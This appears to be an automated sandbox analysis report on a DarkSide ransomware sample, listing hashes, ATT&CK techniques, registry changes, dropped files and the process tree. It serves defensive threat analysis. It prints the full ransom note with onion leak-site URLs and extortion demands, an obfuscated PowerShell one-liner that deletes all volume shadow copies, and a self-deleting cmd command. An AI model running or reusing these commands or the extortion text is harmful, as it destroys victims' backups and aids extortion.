darkside | 2eaccf2ffad0c83282b940b5ed1e65f38acacc9e002b48e3bf4f852e1097232a

Analysis

max time kernel
121s
max time network
130s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
17-03-2024 04:49

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General

Target

ransomwares/Darkside/Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.10121048.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (152) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

3380 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
3380	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\10121048.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\10121048.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Darkside.exe

pid process

3052 Darkside.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
3052	Darkside.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 5 IoCs

Processes:

Darkside.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.10121048	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.10121048\ = "10121048"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\10121048\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\10121048	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\10121048\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\10121048.ico"	Darkside.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeDarkside.exe

pid process

584 powershell.exe
3052 Darkside.exe
3052 Darkside.exe

pid	process
584	powershell.exe
3052	Darkside.exe
3052	Darkside.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

Darkside.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3052	Darkside.exe
Token: SeSecurityPrivilege	3052	Darkside.exe
Token: SeTakeOwnershipPrivilege	3052	Darkside.exe
Token: SeLoadDriverPrivilege	3052	Darkside.exe
Token: SeSystemProfilePrivilege	3052	Darkside.exe
Token: SeSystemtimePrivilege	3052	Darkside.exe
Token: SeProfSingleProcessPrivilege	3052	Darkside.exe
Token: SeIncBasePriorityPrivilege	3052	Darkside.exe
Token: SeCreatePagefilePrivilege	3052	Darkside.exe
Token: SeBackupPrivilege	3052	Darkside.exe
Token: SeRestorePrivilege	3052	Darkside.exe
Token: SeShutdownPrivilege	3052	Darkside.exe
Token: SeDebugPrivilege	3052	Darkside.exe
Token: SeSystemEnvironmentPrivilege	3052	Darkside.exe
Token: SeRemoteShutdownPrivilege	3052	Darkside.exe
Token: SeUndockPrivilege	3052	Darkside.exe
Token: SeManageVolumePrivilege	3052	Darkside.exe
Token: 33	3052	Darkside.exe
Token: 34	3052	Darkside.exe
Token: 35	3052	Darkside.exe
Token: SeDebugPrivilege	584	powershell.exe
Token: SeBackupPrivilege	1888	vssvc.exe
Token: SeRestorePrivilege	1888	vssvc.exe
Token: SeAuditPrivilege	1888	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

Darkside.exe

description	pid	process	target process
PID 3052 wrote to memory of 584	3052	Darkside.exe	powershell.exe
PID 3052 wrote to memory of 584	3052	Darkside.exe	powershell.exe
PID 3052 wrote to memory of 584	3052	Darkside.exe	powershell.exe
PID 3052 wrote to memory of 584	3052	Darkside.exe	powershell.exe
PID 3052 wrote to memory of 3380	3052	Darkside.exe	cmd.exe
PID 3052 wrote to memory of 3380	3052	Darkside.exe	cmd.exe
PID 3052 wrote to memory of 3380	3052	Darkside.exe	cmd.exe
PID 3052 wrote to memory of 3380	3052	Darkside.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ransomwares\Darkside\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\ransomwares\Darkside\Darkside.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:584

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\RANSOM~1\Darkside\Darkside.exe >> NUL
2⤵
- Deletes itself
PID:3380

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1888

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
431e4ea998edea79920e54c6e7d6baac

SHA1
3881f550a62525998225818f9c136330a3e4943e

SHA256
74cec0ce70722a14f497d083e810fb348804cd5f457af49ae1e70f0c653def3f

SHA512
8c48cbed21975f359f3c6701f9e4c599e7dcc30292aeb2a4f18f582bdc6673d375b94bac3946caee4f01e56ae5ab4b950f9330c277390845a0644becc2a1afe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6205.tmp
Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
73b4f12ed9f03e90698d909d8c4ae234

SHA1
daf16cbfa779b3b25688699183767d5ca15f396f

SHA256
d3310226eccd3b7132581220e6e14c519907cb8d3c6128b93bd632e641509e3c

SHA512
81ef977826d8dc4d35eb0d3d677cd154aacf1c7d7c5904ace85443239058fc8c50fd1c56c66b7129a16941a6fdee95672edb2823dd1cc72243220826170cb3aa

Download Submit
C:\Users\Admin\README.10121048.TXT
Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/584-66-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/584-65-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/584-67-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/584-68-0x000007FEF4320000-0x000007FEF4CBD000-memory.dmp

Filesize
9.6MB

Download
memory/584-69-0x000007FEF4320000-0x000007FEF4CBD000-memory.dmp

Filesize
9.6MB

Download
memory/584-64-0x000007FEF4320000-0x000007FEF4CBD000-memory.dmp

Filesize
9.6MB

Download
memory/584-63-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/584-62-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

Filesize
2.9MB

Download